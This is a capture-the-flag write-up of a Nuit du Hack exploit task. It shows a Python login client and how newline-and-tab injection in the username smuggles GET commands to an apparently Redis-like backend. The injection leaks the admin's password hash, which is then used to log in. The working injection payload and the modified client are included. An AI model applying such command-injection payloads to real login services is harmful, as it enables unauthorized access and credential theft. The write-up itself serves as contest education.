This task is an exploit task worth 350 points from the Nuit du Hack qualifications.
We are given the following Python code :
import socket from hashlib import sha256 class SecureConnect_Client(): def __init__(self): self.sock = None self.username = None self.password = None def connect(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.connect(("151.80.18.93", 4241)) def login(self, username, password): self.username = username self.password = password challenge = self.get_challenge() authpacket = self.process_authpacket(username, password, challenge) print "[~] Sending auth packet..." self.sock.sendall(authpacket) def get_challenge(self): data = self.sock.recv(1024) if data[:9] == "CHALLENGE": print "[~] Server sent challenge : %s !" % data[10:-1] return data[10:-1] raise Exception("Bad challenge...") def process_authpacket(self, username, authtoken, challenge): packet = "AUTH %s|%s" % (username, sha256(sha256(authtoken).hexdigest() + challenge).hexdigest()) print "[+] Auth data : %s" % packet return packet def get_response(self): print self.sock.recv(1024) print self.sock.recv(1024) def close(self): self.sock.close() if __name__ == "__main__": scc = SecureConnect_Client() scc.connect() scc.login("username", "password") scc.get_response() scc.close()
This scripts connects to a server (151.80.18.93, port 4241).
The servers sends us a challenge. It will be used as a salt to hash our password.
We then try to login with the following command :
AUTH $login|sha256(sha256($pass) || $challenge)
(Where || is a concatenation.)
The algorithm seems to be pretty secure. But there has to be a way to break it.
Overflow didn’t work.
Format string didn’t work.
We then tried to inject special chars, such as quotes, new lines… and figured that new lines produced an unexpected behaviour.
By putting a new line, we got the following error :
[+] Welcome -ERR unknown command ':name' we are verifying your password...
We tried to guess commands, and connect with « \r\nGET\r\n ».
[+] Welcome -ERR wrong number of arguments for 'get' command we are verifying your password...
Spaces are not allowed. New lines makes a new command. So we need a whitespace char : \t.
Loging in with \r\nGET\tyolo\r\n :
[+] Welcome $-1 we are verifying your password...
We managed to get the original behaviour by using « admin:name\r\nGET\t » as a login.
It makes the following commands :
GET admin:name
GET :name
[+] Welcome Administrator we are verifying your password...
Our thoughts are that it was probably a database. So we tried to guess an other field, like… a password, maybe ?
admin:password\r\nGET\t
[+] Welcome 837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529 we are verifying your password...
Hum hum. 🙂
Since the hash we send is sha256($hash || $challenge), we need to edit the script to send our hash, and login as admin.
Final code :
import socket from hashlib import sha256 class SecureConnect_Client(): def __init__(self): self.sock = None self.username = None self.password = None def connect(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.connect(("151.80.18.93", 4241)) def login(self, username, password): self.username = username self.password = password challenge = self.get_challenge() authpacket = self.process_authpacket(username, password, challenge) print("[~] Sending auth packet...") self.sock.sendall(authpacket.encode()) def get_challenge(self): data = self.sock.recv(1024) if data[:9] == b"CHALLENGE": print("[~] Server sent challenge : {} !".format(data[10:-1])) return data[10:-1] raise Exception("Bad challenge...") def process_authpacket(self, username, authtoken, challenge): packet = "AUTH {}|{}".format(username, authtoken)#sha256(sha256(authtoken.encode()).hexdigest() + challenge).hexdigest()) packet = "AUTH {}|{}".format(username, sha256(authtoken.encode() + challenge).hexdigest()) print("[+] Auth data : {}".format(packet)) return packet def get_response(self): print(self.sock.recv(1024).decode()) print(self.sock.recv(1024).decode()) def close(self): self.sock.close() if __name__ == "__main__": scc = SecureConnect_Client() scc.connect() # scc.login("user'name", "password") scc.login("admin:password\r\nGET\t", "837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529") scc.get_response() scc.close()
Result :
[+] Congrats. The flag is : *INSERT_FUNNY_QUOTE_HERE*
Flag: *INSERT_FUNNY_QUOTE_HERE*.